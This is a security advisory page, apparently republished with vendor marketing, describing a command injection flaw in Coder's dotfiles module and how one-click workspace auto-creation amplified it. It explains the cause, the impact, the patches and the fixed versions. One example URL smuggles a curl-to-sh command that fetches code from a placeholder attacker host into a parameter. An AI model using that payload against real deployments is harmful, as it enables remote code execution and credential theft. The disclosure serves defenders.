GHSA-m3cr-vc2j-pm27 is a high-severity (CVSS 8.1) OS Command Injection vulnerability in github.com/coder/coder/v2. O3 Security confirms whether GHSA-m3cr-vc2j-pm27 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m3cr-vc2j-pm27.
Real-World Exposure
github.com/coder/coder/v2🐹github.com/coder/coder/v2🐹github.com/coder/coderReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Command injection via dotfiles URI parameter combined with workspace auto-creation
Summary
The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.
Details
Command injection in the dotfiles module (root cause)
The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.
Auto-creation amplification (mode=auto)
The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.
Example URL:
https://<deployment>/templates/<template>/workspace?mode=auto¶m.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com
Impact
Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.
Patches
coder/registry (primary fix)
Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.
coder/coder (defense-in-depth)
A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.
- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
- Patched releases:
Recognition
We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/coder/coder/v2 | all versions | 2.29.7 |
| 🐹Go | github.com/coder/coder/v2 | ≥ 2.30.0&&< 2.30.2 | 2.30.2 |
| 🐹Go | github.com/coder/coder | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/coder/coder/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/coder/coder/v2 to 2.29.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m3cr-vc2j-pm27 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m3cr-vc2j-pm27 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m3cr-vc2j-pm27. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m3cr-vc2j-pm27 in your dependencies?
O3 detects GHSA-m3cr-vc2j-pm27 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.